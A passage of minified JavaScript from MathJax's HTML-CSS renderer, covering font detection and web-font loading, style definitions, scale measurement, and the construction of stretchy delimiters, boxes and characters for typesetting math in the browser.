k=Math.floor((this.div.offsetWidth-i)/f+0.5);if(k===m){if(e.safariTextNodeBug){this.div.innerHTML=this.versionChar+g}else{this.text.nodeValue=this.versionChar+g}h.version=Math.floor((this.div.offsetWidth-i)/f+1.5)/2}this.div.style.fontSize=l;return(k===m)},getComparisonWidths:function(j,h){if(e.FONTDATA&&e.FONTDATA.hasStyleChar&&!h){j+=this.styleChar+" "+this.compChar}if(e.safariTextNodeBug){this.div.innerHTML=j}else{this.text.nodeValue=j}this.div.style.fontFamily=this.comparisonFont[0];var g=this.div.offsetWidth,l=-1;if(e.safariWebFontSerif){this.div.style.fontFamily=e.safariWebFontSerif[0];l=this.div.offsetWidth}for(var k=1,f=this.comparisonFont.length;k<f;k++){this.div.style.fontFamily=this.comparisonFont[k];if(this.div.offsetWidth!=g){return[g,this.div.offsetWidth,k,l]}}return null},loadWebFont:function(g){d.Startup.signal.Post("HTML-CSS Jax - Web-Font "+e.fontInUse+"/"+g.directory);var i=MathJax.Message.File("Web-Font "+e.fontInUse+"/"+g.directory);var f=MathJax.Callback({});var h=MathJax.Callback(["loadComplete",this,g,i,f]);c.timer.start(c,[this.checkWebFont,g,h],1,this.timeout);return f},loadComplete:function(h,j,g,f){MathJax.Message.Clear(j);if(f===c.STATUS.OK){g();return}this.loadError(h);if(d.Browser.isFirefox&&e.allowWebFonts){var i=document.location.protocol+"//"+document.location.hostname;if(document.location.port!=""){i+=":"+document.location.port}i+="/";if(c.fileURL(e.webfontDir).substr(0,i.length)!==i){this.firefoxFontError(h)}}e.loadWebFontError(h,g)},loadError:function(f){MathJax.Message.Set("Can't load web font "+e.fontInUse+"/"+f.directory,null,2000)},firefoxFontError:function(f){MathJax.Message.Set("Firefox can't load web fonts from a remote host",null,3000)},checkWebFont:function(f,g,h){if(f.time(h)){return}if(e.Font.testFont(g)){h(f.STATUS.OK)}else{setTimeout(f,f.delay)}},fontFace:function(h){var i=e.allowWebFonts;var k=e.FONTDATA.FONTS[h];if(e.msieFontCSSBug&&!k.family.match(/-Web$/)){k.family+="-Web"}var g=c.fileURL(e.webfontDir+"/"+i);var f=h.replace(/-b/,"-B").replace(/-i/,"-I").replace(/-Bold-/,"-Bold");if(!f.match(/-/)){f+="-Regular"}if(i==="svg"){f+=".svg#"+f}else{f+="."+i}var j={"font-family":k.family,src:"url('"+g+"/"+f+"')"};if(i==="svg"){j.src+=" format('svg')"}if(!(e.FontFaceBug&&k.isWebFont)){if(h.match(/-bold/)){j["font-weight"]="bold"}if(h.match(/-italic/)){j["font-style"]="italic"}}return j}});e.Augment({config:{styles:{".MathJax":{display:"inline","font-family":"serif","font-style":"normal","font-weight":"normal","line-height":"normal","font-size":"100%","font-size-adjust":"none","text-indent":0,"text-align":"left","text-transform":"none","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none",direction:"ltr",border:0,padding:0,margin:0},".MathJax_Display":{position:"relative",display:"block",width:"100%"},".MathJax img, .MathJax nobr, .MathJax a":{border:0,padding:0,margin:0,"max-width":"none","max-height":"none","vertical-align":0,"line-height":"normal","text-decoration":"none"},"img.MathJax_strut":{border:"0 !important",padding:"0 !important",margin:"0 !important","vertical-align":"0 !important"},".MathJax span":{display:"inline",position:"static",border:0,padding:0,margin:0,"vertical-align":0,"line-height":"normal","text-decoration":"none"},".MathJax nobr":{"white-space":"nowrap"},".MathJax img":{display:"inline ! important"},".MathJax_Processing":{visibility:"hidden",position:"fixed",width:0,height:0,overflow:"hidden"},".MathJax .MathJax_HitBox":{cursor:"text"},"#MathJax_Tooltip":{position:"absolute",left:0,top:0,width:"auto",height:"auto",display:"none"},"#MathJax_Tooltip *":{filter:"none",background:"transparent"}}},settings:d.config.menuSettings,LEFTBUTTON:(d.Browser.isMSIE?1:0),MENUKEY:"altKey",Font:null,Config:function(){this.Font=b();this.SUPER(arguments).Config.call(this);var g=this.settings;if(this.adjustAvailableFonts){this.adjustAvailableFonts(this.config.availableFonts)}if(g.scale){this.config.scale=g.scale}if(g.font&&g.font!=="Auto"){if(g.font==="TeX (local)"){this.config.availableFonts=["TeX"];this.config.preferredFont="TeX";this.config.webFont="TeX"}else{if(g.font==="STIX (local)"){this.config.availableFonts=["STIX"];this.config.preferredFont="STIX";this.config.webFont="TeX"}else{if(g.font==="TeX (web)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont="TeX"}else{if(g.font==="TeX (image)"){this.config.availableFonts=[];this.config.preferredFont="";this.config.webFont=""}}}}}var f=this.Font.findFont(this.config.availableFonts,this.config.preferredFont);if(!f&&this.allowWebFonts){f=this.config.webFont;if(f){this.webFonts=true}}if(!f&&this.config.imageFont){f=this.config.imageFont;this.imgFonts=true}if(f){this.fontInUse=f;this.fontDir+="/"+f;this.webfontDir+="/"+f;if(!this.require){this.require=[]}this.require.push(this.fontDir+"/fontdata.js");if(this.imgFonts){this.require.push(this.directory+"/imageFonts.js");d.Startup.signal.Post("HTML-CSS Jax - using image fonts")}}else{MathJax.Message.Set("Can't find a valid font using ["+this.config.availableFonts.join(", ")+"]",null,3000);this.FONTDATA={TeX_factor:1,baselineskip:1.2,lineH:0.8,lineD:0.2,ffLineH:0.8,FONTS:{},VARIANT:{normal:{fonts:[]}},RANGES:[],DELIMITERS:{},RULECHAR:45,REMAP:{}};if(MathJax.InputJax.TeX&&MathJax.InputJax.TeX.Definitions){MathJax.InputJax.TeX.Definitions.macros.overline[1]="002D";MathJax.InputJax.TeX.Definitions.macros.underline[1]="002D"}d.Startup.signal.Post("HTML-CSS Jax - no valid font")}},Startup:function(){var h=[],l=this.FONTDATA.VARIANT.normal.fonts;if(!(l instanceof Array)){l=[l]}for(var g=0,f=l.length;g<f;g++){h[g]=this.FONTDATA.FONTS[l[g]].family;if(!h[g]){h[g]=l[g]}}this.config.styles[".MathJax .math span"]=this.config.styles["#MathJax_getScales"]={"font-family":h.join(",")};this.hiddenDiv=this.Element("div",{style:{visibility:"hidden",overflow:"hidden",position:"absolute",top:0,height:"1px",width:"auto",padding:0,border:0,margin:0,textAlign:"left",textIndent:0,textTransform:"none",lineHeight:"normal",letterSpacing:"normal",wordSpacing:"normal"}});if(!document.body.firstChild){document.body.appendChild(this.hiddenDiv)}else{document.body.insertBefore(this.hiddenDiv,document.body.firstChild)}this.hiddenDiv=this.addElement(this.hiddenDiv,"div",{id:"MathJax_Hidden"});var k=this.addElement(this.hiddenDiv,"div",{style:{width:"5in"}});this.pxPerInch=k.offsetWidth/5;this.hiddenDiv.removeChild(k);this.startMarker=e.createStrut(this.Element("span"),10,true);this.endMarker=this.addText(this.Element("span"),"x").parentNode;this.HDspan=this.Element("span");if(this.operaHeightBug){this.createStrut(this.HDspan,0)}if(this.msieInlineBlockAlignBug){this.HDimg=this.addElement(this.HDspan,"img",{style:{height:"0px",width:"1px"}});try{this.HDimg.src="about:blank"}catch(j){}}else{this.HDimg=e.createStrut(this.HDspan,0)}this.HDMspan=this.Element("span",{style:{position:"absolute","font-size-adjust":"none"}});if(this.msieInlineBlockAlignBug){this.HDMimg=this.addElement(this.HDMspan,"img",{style:{height:"0px",width:"1px","max-width":"none","max-height":"none",border:0,padding:0,margin:0}});try{this.HDMimg.src="about:blank"}catch(j){}}else{this.HDMimg=e.createStrut(this.HDMspan,0);this.HDMimg.style.marginRight=""}this.marginCheck=e.Element("span",null,[["span",{style:{display:"inline-block",width:"5em"}}]]);this.marginMove=e.addElement(this.marginCheck,"span",{style:{display:"inline-block",width:"5em",marginLeft:"-5em"}});return c.Styles(this.config.styles,["PreloadWebFonts",this])},PreloadWebFonts:function(){if(!e.allowWebFonts||!e.config.preloadWebFonts){return}for(var g=0,f=e.config.preloadWebFonts.length;g<f;g++){var h=e.FONTDATA.FONTS[e.config.preloadWebFonts[g]];if(!h.available){e.Font.testFont(h)}}},Translate:function(l){if(!l.parentNode){return}var j=l.previousSibling;if(j&&String(j.className).match(/^MathJax(_MathML|_Display)?$/)){j.parentNode.removeChild(j)}var m=l.MathJax.elementJax.root,n,f,h;n=f=h=this.Element("span",{className:"MathJax",oncontextmenu:this.ContextMenu,onmousedown:this.Mousedown,onmouseover:this.Mouseover,onclick:this.Click,ondblclick:this.DblClick});var i=(m.Get("display")==="block");if(i){f=h=this.Element("div",{className:"MathJax_Display",style:{width:"100%",position:"relative"}});f.appendChild(n)}f.setAttribute("role","textbox");f.setAttribute("aria-readonly","true");if(this.useProcessingFrame){h=this.Element((i?"div":"span"),{className:"MathJax_Processing"});h.appendChild(f)}l.parentNode.insertBefore(h,l);var g;try{this.getScales(n);g=(this.em===0||String(this.em)==="NaN")}catch(k){g=true}if(g){this.hiddenDiv.appendChild(h);this.getScales(n)}this.initImg(n);this.initHTML(m,n);m.setTeXclass();try{m.toHTML(n,f)}catch(k){if(k.restart){h.parentNode.removeChild(h)}throw k}if(g){l.parentNode.insertBefore(h,l)}if(this.useProcessingFrame){h.parentNode.replaceChild(f,h)}},ContextMenu:function(i,j){if(e.config.showMathMenu&&(e.settings.context==="MathJax"||j)){if(e.safariContextMenuBug){setTimeout("window.getSelection().empty()",0)}if(!i||e.msieEventBug){i=window.event}var f=MathJax.Menu;if(f){var h=(this.parentNode.className==="MathJax_Display"?this.parentNode:this);f.jax=d.getJaxFor(h.nextSibling);f.menu.items[1].menu.items[1].name=(f.jax.inputJax.id==="MathML"?"Original":f.jax.inputJax.id);return f.menu.Post(i)}else{if(!c.loadingMathMenu){c.loadingMathMenu=true;var g={pageX:i.pageX,pageY:i.pageY,clientX:i.clientX,clientY:i.clientY};MathJax.Callback.Queue(c.Require("[MathJax]/extensions/MathMenu.js"),function(){delete c.loadingMathMenu},[this,arguments.callee,g,j])}if(!i){i=window.event}if(i.preventDefault){i.preventDefault()}if(i.stopPropagation){i.stopPropagation()}i.cancelBubble=true;i.returnValue=false;return false}}},Mousedown:function(f){if(e.config.showMathMenu){if(!f){f=window.event}if(e.settings.context==="MathJax"){if(!e.noContextMenuBug||f.button!==2){return}}else{if(!f[e.MENUKEY]||f.button!==e.LEFTBUTTON){return}}return e.ContextMenu.call(this,f,true)}},Mouseover:function(f){e.HandleEvent(f,"Mouseover",this)},Click:function(f){e.HandleEvent(f,"Click",this)},DblClick:function(f){e.HandleEvent(f,"DblClick",this)},HandleEvent:function(h,f,g){},initImg:function(f){},initHTML:function(g,f){},initFont:function(f){var h=e.FONTDATA.FONTS,g=e.config.availableFonts;if(g&&g.length&&e.Font.testFont(h[f])){h[f].available=true;return null}if(!this.allowWebFonts){return null}h[f].isWebFont=true;if(e.FontFaceBug){h[f].family=f;if(e.msieFontCSSBug){h[f].family+="-Web"}}return c.Styles({"@font-face":this.Font.fontFace(f)})},Remove:function(f){var g=f.SourceElement();if(!g){return}g=g.previousSibling;if(!g){return}if(g.className.match(/^MathJax/)){g.parentNode.removeChild(g)}},getScales:function(h){h.parentNode.insertBefore(this.HDMspan,h);this.HDMspan.className="";this.HDMspan.id="";this.HDMspan.style.fontSize="";this.HDMimg.style.height="1px";this.HDMimg.style.width="60ex";var g=this.HDMspan.offsetWidth/60;this.HDMspan.className="MathJax";this.HDMspan.id="MathJax_getScales";this.HDMimg.style.width="60em";var f=this.outerEm=this.HDMspan.offsetWidth/60;this.scale=Math.floor(Math.max(this.config.minScaleAdjust/100,(g/this.TeX.x_height)/f)*this.config.scale);h.style.fontSize=this.HDMspan.style.fontSize=this.scale+"%";this.em=a.mbase.prototype.em=this.HDMspan.offsetWidth/60;if(this.operaFontSizeBug&&f===this.em&&this.scale!==100){this.em=a.mbase.prototype.em=f*this.scale/100}h.parentNode.removeChild(this.HDMspan);this.msieMarginScale=this.getMarginScale(h)},getMarginScale:function(f){return 1},getMSIEmarginScale:function(h){h.appendChild(this.marginCheck);var f=this.marginCheck.offsetWidth,g=this.marginMove.offsetWidth;var i=(2*g-f?g/(2*g-f):1);h.removeChild(this.marginCheck);return i},getHD:function(g){var f=g.style.position;g.style.position="absolute";this.HDimg.style.height="0px";g.appendChild(this.HDspan);var h={h:g.offsetHeight};this.HDimg.style.height=h.h+"px";h.d=g.offsetHeight-h.h;h.h-=h.d;h.h/=this.em;h.d/=this.em;g.removeChild(this.HDspan);g.style.position=f;return h},getW:function(i){var g=i.offsetWidth,h=(i.bbox?i.bbox.w:-1),j=i;if((h<0||this.negativeSkipBug)&&g>=0){if(this.negativeSkipBug){var f=i.style.position;i.style.position="absolute";j=this.startMarker;if(i.firstChild){i.insertBefore(j,i.firstChild)}else{i.appendChild(j)}j=this.startMarker}i.appendChild(this.endMarker);g=this.endMarker.offsetLeft-j.offsetLeft;i.removeChild(this.endMarker);if(this.negativeSkipBug){i.removeChild(j);i.style.position=f}}return g/this.em},Measured:function(h,g){if(h.bbox.width==null&&h.bbox.w&&!h.bbox.isMultiline){var f=this.getW(h);h.bbox.rw+=f-h.bbox.w;h.bbox.w=f}if(!g){g=h.parentNode}if(!g.bbox){g.bbox=h.bbox}return h},Remeasured:function(g,f){f.bbox=this.Measured(g,f).bbox},Em:function(f){if(Math.abs(f)<0.0006){return"0em"}return f.toFixed(3).replace(/\.?0+$/,"")+"em"},Percent:function(f){return(100*f).toFixed(1).replace(/\.?0+$/,"")+"%"},length2percent:function(f){return this.Percent(this.length2em(f))},length2em:function(k,i){if(typeof(k)!=="string"){k=k.toString()}if(k===""){return""}if(k===a.SIZE.NORMAL){return 1}if(k===a.SIZE.BIG){return 2}if(k===a.SIZE.SMALL){return 0.71}if(k==="infinity"){return e.BIGDIMEN}var h=this.FONTDATA.TeX_factor;if(k.match(/mathspace$/)){return e.MATHSPACE[k]*h}var g=k.match(/^\s*([-+]?(?:\.\d+|\d+(?:\.\d*)?))?(pt|em|ex|mu|px|pc|in|mm|cm|%)?/);var f=parseFloat(g[1]||"1"),j=g[2];if(i==null){i=1}if(j==="em"){return f*h}if(j==="ex"){return f*e.TeX.x_height*h}if(j==="%"){return f/100*i}if(j==="px"){return f/e.em}if(j==="pt"){return f/10*h}if(j==="pc"){return f*1.2*h}if(j==="in"){return f*this.pxPerInch/e.em}if(j==="cm"){return f*this.pxPerInch/e.em/2.54}if(j==="mm"){return f*this.pxPerInch/e.em/25.4}if(j==="mu"){return f/18*h}return f*h*i},thickness2em:function(f){var g=e.TeX.rule_thickness;if(f===a.LINETHICKNESS.MEDIUM){return g}if(f===a.LINETHICKNESS.THIN){return 0.67*g}if(f===a.LINETHICKNESS.THICK){return 1.67*g}return this.length2em(f,g)},createStrut:function(i,g,j){var f=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:g+"px",width:"1px",marginRight:"-1px"}});if(j){i.insertBefore(f,i.firstChild)}else{i.appendChild(f)}return f},createBlank:function(g,f,h){var i=this.Element("span",{style:{display:"inline-block",overflow:"hidden",height:"1px",width:this.Em(f)}});if(h){g.insertBefore(i,g.firstChild)}else{g.appendChild(i)}return i},createShift:function(g,f,i){var h=this.Element("span",{style:{marginLeft:this.Em(f)}});if(i){g.insertBefore(h,g.firstChild)}else{g.appendChild(h)}return h},createSpace:function(k,j,m,f,g){var i=this.Em(Math.max(0,j+m)),l=this.Em(-m);if(this.msieInlineBlockAlignBug){l=this.Em(e.getHD(k.parentNode).d-m)}if(k.isBox||k.className=="mspace"){k.bbox={h:j*k.scale,d:m*k.scale,w:f*k.scale,rw:f*k.scale,lw:0};k.style.height=i;k.style.verticalAlign=l}else{k=this.addElement(k,"span",{style:{height:i,verticalAlign:l}})}if(f>=0){k.style.width=this.Em(f);k.style.display="inline-block"}else{if(this.msieNegativeSpaceBug){k.style.height=""}k.style.marginLeft=this.Em(f);if(e.safariNegativeSpaceBug&&k.parentNode.firstChild==k){this.createBlank(k,0,true)}}if(g&&g!==a.COLOR.TRANSPARENT){k.style.backgroundColor=g}return k},createRule:function(o,k,m,p,i){var j=e.TeX.min_rule_thickness;if(p>0&&p*this.em<j){p=j/this.em}if(k+m>0&&(k+m)*this.em<j){var l=1/(k+m)*(j/this.em);k*=l;m*=l}if(!i){i="solid"}else{i="solid "+i}i=this.Em(p)+" "+i;var q=this.Em(k+m),g=this.Em(-m);var n=this.addElement(o,"span",{style:{borderLeft:i,display:"inline-block",overflow:"hidden",width:0,height:q,verticalAlign:g},bbox:{h:k,d:m,w:p,rw:p,lw:0},noAdjust:true});if(p>0&&n.offsetWidth==0){n.style.width=this.Em(p)}if(o.isBox||o.className=="mspace"){o.bbox=n.bbox}return n},createFrame:function(o,m,n,p,r,g){var l=(this.msieBorderWidthBug?0:2*r);var q=this.Em(m+n-l),f=this.Em(-n-r),k=this.Em(p-l);var i=this.Em(r)+" "+g;var j=this.addElement(o,"span",{style:{border:i,display:"inline-block",overflow:"hidden",width:k,height:q},bbox:{h:m,d:n,w:p,rw:p,lw:0},noAdjust:true});if(f){j.style.verticalAlign=f}return j},createStack:function(h,j,g){if(this.msiePaddingWidthBug){this.createStrut(h,0)}var i=String(g).match(/%$/);var f=(!i&&g!=null?g:0);h=this.addElement(h,"span",{noAdjust:true,style:{display:"inline-block",position:"relative",width:(i?"100%":this.Em(f)),height:0}});if(!j){h.parentNode.bbox=h.bbox={h:-this.BIGDIMEN,d:-this.BIGDIMEN,w:f,lw:this.BIGDIMEN,rw:(!i&&g!=null?g:-this.BIGDIMEN)};if(i){h.bbox.width=g}}return h},createBox:function(g,f){var h=this.addElement(g,"span",{style:{position:"absolute"},isBox:true});if(f!=null){h.style.width=f}return h},addBox:function(f,g){g.style.position="absolute";g.isBox=true;return f.appendChild(g)},placeBox:function(n,m,k,i){var o=n.parentNode,v=n.bbox,q=o.bbox;if(this.msiePlaceBoxBug){this.addText(n,this.NBSP)}if(this.imgSpaceBug){this.addText(n,this.imgSpace)}var p=n.offsetHeight/this.em+1,z=0;if(n.noAdjust){p-=1}else{if(this.msieInlineBlockAlignBug){this.addElement(n,"img",{className:"MathJax_strut",border:0,src:"about:blank",style:{width:0,height:this.Em(p)}})}else{this.addElement(n,"span",{style:{display:"inline-block",width:0,height:this.Em(p)}})}}n.style.top=this.Em(-k-p);n.style.left=this.Em(m+z);if(v){if(this.negativeSkipBug){if(v.lw<0){z=v.lw;e.createBlank(n,-z,true);h=0}if(v.rw>v.w){e.createBlank(n,v.rw-v.w+0.1)}}if(!this.msieClipRectBug&&!v.noclip&&!i){var u=3/this.em;var s=(v.H==null?v.h:v.H),g=(v.D==null?v.d:v.D);var w=p-s-u,j=p+g+u,h=v.lw-3*u,f=1000;if(v.isFixed){f=v.width-h}n.style.clip="rect("+this.Em(w)+" "+this.Em(f)+" "+this.Em(j)+" "+this.Em(h)+")"}}if(v&&q){if(v.H!=null&&(q.H==null||v.H+k>q.H)){q.H=v.H+k}if(v.D!=null&&(q.D==null||v.D-k>q.D)){q.D=v.D-k}if(v.h+k>q.h){q.h=v.h+k}if(v.d-k>q.d){q.d=v.d-k}if(q.H!=null&&q.H<=q.h){delete q.H}if(q.D!=null&&q.D<=q.d){delete q.D}if(v.w+m>q.w){q.w=v.w+m;if(q.width==null){o.style.width=this.Em(q.w)}}if(v.rw+m>q.rw){q.rw=v.rw+m}if(v.lw+m<q.lw){q.lw=v.lw+m}if(v.width!=null&&!v.isFixed){if(q.width==null){o.style.width=q.width="100%"}n.style.width=v.width}}},alignBox:function(h,n,m){this.placeBox(h,0,m);var j=h.bbox;if(j.isMultiline){return}var g=j.width!=null&&!j.isFixed;var i=0,k=-j.w/2,f="50%";if(this.negativeSkipBug){i=j.w-j.rw-0.1;k+=j.lw}k=this.Em(k*this.msieMarginScale);if(g){k="";f=(50-parseFloat(j.width)/2)+"%"}d.Insert(h.style,({right:{left:"",right:this.Em(i)},center:{left:f,marginLeft:k}})[n])},setStackWidth:function(g,f){if(typeof(f)==="number"){g.style.width=this.Em(Math.max(0,f));if(g.bbox){g.bbox.w=f}if(g.parentNode.bbox){g.parentNode.bbox.w=f}}else{g.style.width=g.parentNode.style.width="100%";if(g.bbox){g.bbox.width=f}if(g.parentNode.bbox){g.parentNode.bbox.width=f}}},createDelimiter:function(q,f,h,l,j){if(!f){q.bbox={h:0,d:0,w:this.TeX.nulldelimiterspace,lw:0};q.bbox.rw=q.bbox.w;this.createSpace(q,q.bbox.h,q.bbox.d,q.bbox.w);return}if(!l){l=1}if(!(h instanceof Array)){h=[h,h]}var p=h[1];h=h[0];var g={alias:f};while(g.alias){f=g.alias;g=this.FONTDATA.DELIMITERS[f];if(!g){g={HW:[0,this.FONTDATA.VARIANT[a.VARIANT.NORMAL]]}}}for(var o=0,k=g.HW.length;o<k;o++){if(g.HW[o][0]*l>=h-0.01||(o==k-1&&!g.stretch)){if(g.HW[o][2]){l*=g.HW[o][2]}if(g.HW[o][3]){f=g.HW[o][3]}var n=this.addElement(q,"span");this.createChar(n,[f,g.HW[o][1]],l,j);q.bbox=n.bbox;q.offset=0.65*q.bbox.w;q.scale=l;return}}if(g.stretch){this["extendDelimiter"+g.dir](q,p,g.stretch,l,j)}},extendDelimiterV:function(v,p,A,B,s){var i=this.createStack(v,true);var r=this.createBox(i),q=this.createBox(i);this.createChar(r,(A.top||A.ext),B,s);this.createChar(q,(A.bot||A.ext),B,s);var g={bbox:{w:0,lw:0,rw:0}},z=g,j;var w=r.bbox.h+r.bbox.d+q.bbox.h+q.bbox.d;var m=-r.bbox.h;this.placeBox(r,0,m,true);m-=r.bbox.d;if(A.mid){z=this.createBox(i);this.createChar(z,A.mid,B,s);w+=z.bbox.h+z.bbox.d}if(p>w){g=this.Element("span");this.createChar(g,A.ext,B,s);var x=g.bbox.h+g.bbox.d,f=x-0.05,t,l,u=(A.mid?2:1);l=t=Math.ceil((p-w)/(u*f));if(!A.fullExtenders){f=(p-w)/(u*t)}var o=(t/(t+1))*(x-f);f=x-o;m+=o+f-g.bbox.h;while(u-->0){while(t-->0){if(!this.msieCloneNodeBug){j=g.cloneNode(true)}else{j=this.Element("span");this.createChar(j,A.ext,B,s)}m-=f;this.placeBox(this.addBox(i,j),0,m,true)}m+=o-g.bbox.d;if(A.mid&&u){this.placeBox(z,0,m-z.bbox.h,true);t=l;m+=-(z.bbox.h+z.bbox.d)+o+f-g.bbox.h}}}else{m+=(w-p)/2;if(A.mid){this.placeBox(z,0,m-z.bbox.h,true);m+=-(z.bbox.h+z.bbox.d)}m+=(w-p)/2}this.placeBox(q,0,m-q.bbox.h,true);m-=q.bbox.h+q.bbox.d;v.bbox={w:Math.max(r.bbox.w,g.bbox.w,q.bbox.w,z.bbox.w),lw:Math.min(r.bbox.lw,g.bbox.lw,q.bbox.lw,z.bbox.lw),rw:Math.max(r.bbox.rw,g.bbox.rw,q.bbox.rw,z.bbox.rw),h:0,d:-m};v.scale=B;v.offset=0.55*v.bbox.w;v.isMultiChar=true;this.setStackWidth(i,v.bbox.w)},extendDelimiterH:function(u,h,z,B,r){var l=this.createStack(u,true);var i=this.createBox(l),v=this.createBox(l);this.createChar(i,(z.left||z.rep),B,r);this.createChar(v,(z.right||z.rep),B,r);var f=this.Element("span");this.createChar(f,z.rep,B,r);var y={bbox:{h:-this.BIGDIMEN,d:-this.BIGDIMEN}},g;this.placeBox(i,-i.bbox.lw,0,true);var p=(i.bbox.rw-i.bbox.lw)+(v.bbox.rw-v.bbox.lw)-0.05,o=i.bbox.rw-i.bbox.lw-0.025,q;if(z.mid){y=this.createBox(l);this.createChar(y,z.mid,B,r);p+=y.bbox.w}if(h>p){var A=f.bbox.rw-f.bbox.lw,j=A-0.05,s,m,t=(z.mid?2:1);m=s=Math.ceil((h-p)/(t*j));j=(h-p)/(t*s);q=(s/(s+1))*(A-j);j=A-q;o-=f.bbox.lw+q;while(t-->0){while(s-->0){if(!this.msieCloneNodeBug){g=f.cloneNode(true)}else{g=this.Element("span");this.createChar(g,z.rep,B,r)}this.placeBox(this.addBox(l,g),o,0,true);o+=j}if(z.mid&&t){this.placeBox(y,o,0,true);o+=y.bbox.w-q;s=m}}}else{q=Math.min(p-h,i.bbox.w/2);o-=q/2;if(z.mid){this.placeBox(y,o,0,true);o+=y.bbox.w}o-=q/2}this.placeBox(v,o,0,true);u.bbox={w:o+v.bbox.rw,lw:0,rw:o+v.bbox.rw,H:Math.max(i.bbox.h,f.bbox.h,v.bbox.h,y.bbox.h),D:Math.max(i.bbox.d,f.bbox.d,v.bbox.d,y.bbox.d),h:f.bbox.h,d:f.bbox.d};u.scale=B;u.isMultiChar=true;this.setStackWidth(l,u.bbox.w)},createChar:function(o,k,h,f){var n=o,p="",j={fonts:[k[1]],noRemap:true};if(f&&f===a.VARIANT.BOLD){j.fonts=[k[1]+"-bold",k[1]]}if(typeof(k[1])!=="string"){j=k[1]}if(k[0] instanceof Array){for(var l=0,g=k[0].length;l<g;l++){p+=String.fromCharCode(k[0][l])}}else{p=String.fromCharCode(k[0])}if(h!==1){n=this.addElement(o,"span",{style:{fontSize:this.Percent(h)},scale:h});this.handleVariant(n,j,p);o.bbox=n.bbox}else{this.handleVariant(o,j,p)}if(k[2]){o.style.marginLeft=this.Em(k[2])}if(this.AccentBug&&o.bbox.w===0){n.firstChild.nodeValue+=this.NBSP;e.createSpace(o,0,0,-o.offsetWidth/e.em)}},positionDelimiter:function(g,f){f-=g.bbox.h;g.bbox.d-=f;g.bbox.h+=f;if(f){if(this.safariVerticalAlignBug||this.msieVerticalAlignBug||this.konquerorVerticalAlignBug||(this.operaVerticalAlignBug&&g.isMultiChar)){if(g.firstChild.style.display===""&&g.style.top!==""){g=g.firstChild;f-=parseFloat(g.style.top)}g.style.position="relative";g.style.top=this.Em(-f)}else{g.style.verticalAlign=this.Em(f);if(e.ffVerticalAlignBug){e.createRule(g.parentNode,g.bbox.h,0,0)}}}},handleVariant:function(v,j,o){var u="",s,y,p,g,x,z,f=v;if(o.length===0){return}if(!v.bbox){v.bbox={w:0,h:-this.BIGDIMEN,d:-this.BIGDIMEN,rw:-this.BIGDIMEN,lw:this.BIGDIMEN}}if(!j){j=this.FONTDATA.VARIANT[a.VARIANT.NORMAL]}z=j;for(var w=0,t=o.length;w<t;w++){j=z;s=o.charCodeAt(w);y=o.charAt(w);if(y===this.PLANE1){w++;s=o.charCodeAt(w)+119808-56320;if(this.FONTDATA.RemapPlane1){var A=this.FONTDATA.RemapPlane1(s,j);s=A.n;j=A.variant}}else{var q,l,r=this.FONTDATA.RANGES;for(q=0,l=r.length;q<l;q++){if(r[q].name==="alpha"&&j.noLowerCase){continue}var k=j["offset"+r[q].offset];if(k&&s>=r[q].low&&s<=r[q].high){if(r[q].remap&&r[q].remap[s]){s=k+r[q].remap[s]}else{s=s-r[q].low+k;if(r[q].add){s+=r[q].add}}if(j["variant"+r[q].offset]){j=this.FONTDATA.VARIANT[j["variant"+r[q].offset]]}break}}}if(j.remap&&j.remap[s]){if(j.remap[s] instanceof Array){var h=j.remap[s];s=h[0];j=this.FONTDATA.VARIANT[h[1]]}else{s=j.remap[s];if(j.remap.variant){j=this.FONTDATA.VARIANT[j.remap.variant]}}}if(this.FONTDATA.REMAP[s]&&!j.noRemap){s=this.FONTDATA.REMAP[s]}p=this.lookupChar(j,s);y=p[s];if(j!==x&&!y[5].img){if(u.length){this.addText(f,u);u=""}f=v;x=g;if(j!==x){if(x){f=this.addElement(v,"span")}else{g=j}}this.handleFont(f,p,f!==v);x=j}u=this.handleChar(f,p,y,s,u);if(y[0]/1000>v.bbox.h){v.bbox.h=y[0]/1000}if(y[1]/1000>v.bbox.d){v.bbox.d=y[1]/1000}if(v.bbox.w+y[3]/1000<v.bbox.lw){v.bbox.lw=v.bbox.w+y[3]/1000}if(v.bbox.w+y[4]/1000>v.bbox.rw){v.bbox.rw=v.bbox.w+y[4]/1000}v.bbox.w+=y[2]/1000}if(u.length){this.addText(f,u)}if(v.scale&&v.scale!==1){v.bbox.h*=v.scale;v.bbox.d*=v.scale;v.bbox.w*=v.scale;v.bbox.lw*=v.scale;v.bbox.rw*=v.scale}if(o.length==1&&p.skew&&p.skew[s]){v.bbox.skew=p.skew[s]}},handleFont:function(h,f,j){h.style.fontFamily=f.family;if(!(e.FontFaceBug&&f.isWebFont)){var g=f.style||"normal",i=f.weight||"normal";if(g!=="normal"||j){h.style.fontStyle=g}if(i!=="normal"||j){h.style.fontWeight=i}}},handleChar:function(g,f,l,k,j){var i=l[5];if(i.img){return this.handleImg(g,f,l,k,j)}if(i.isUnknown&&this.FONTDATA.DELIMITERS[k]){if(j.length){this.addText(g,j)}var h=g.scale;e.createDelimiter(g,k,0,1,f);g.scale=h;l[0]=g.bbox.h*1000;l[1]=g.bbox.d*1000;l[2]=g.bbox.w*1000;l[3]=g.bbox.lw*1000;l[4]=g.bbox.rw*1000;return""}if(i.c==null){if(k<=65535){i.c=String.fromCharCode(k)}else{i.c=this.PLANE1+String.fromCharCode(k-119808+56320)}}if(l[2]||!this.msieAccentBug||j.length){return j+i.c}e.createShift(g,l[3]/1000);e.createShift(g,(l[4]-l[3])/1000);this.addText(g,i.c);e.createShift(g,-l[4]/1000);return""},handleImg:function(g,f,j,i,h){return h},lookupChar:function(j,p){var h,f;if(!j.FONTS){var o=this.FONTDATA.FONTS;var l=(j.fonts||this.FONTDATA.VARIANT.normal.fonts);if(!(l instanceof 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g=this.HTMLspanElement();if(g.style.fontSize!=""){f.fontsize=g.style.fontSize}}if(f.fontsize&&!this.mathsize){f.mathsize=f.fontsize}if(f.scriptlevel!==0){if(f.scriptlevel>2){f.scriptlevel=2}h=Math.pow(this.Get("scriptsizemultiplier"),f.scriptlevel);f.scriptminsize=e.length2em(f.scriptminsize);if(h<f.scriptminsize){h=f.scriptminsize}}h*=e.length2em(f.mathsize);return h},HTMLgetVariant:function(){var f=this.getValues("mathvariant","fontfamily","fontweight","fontstyle");if(this.style){var 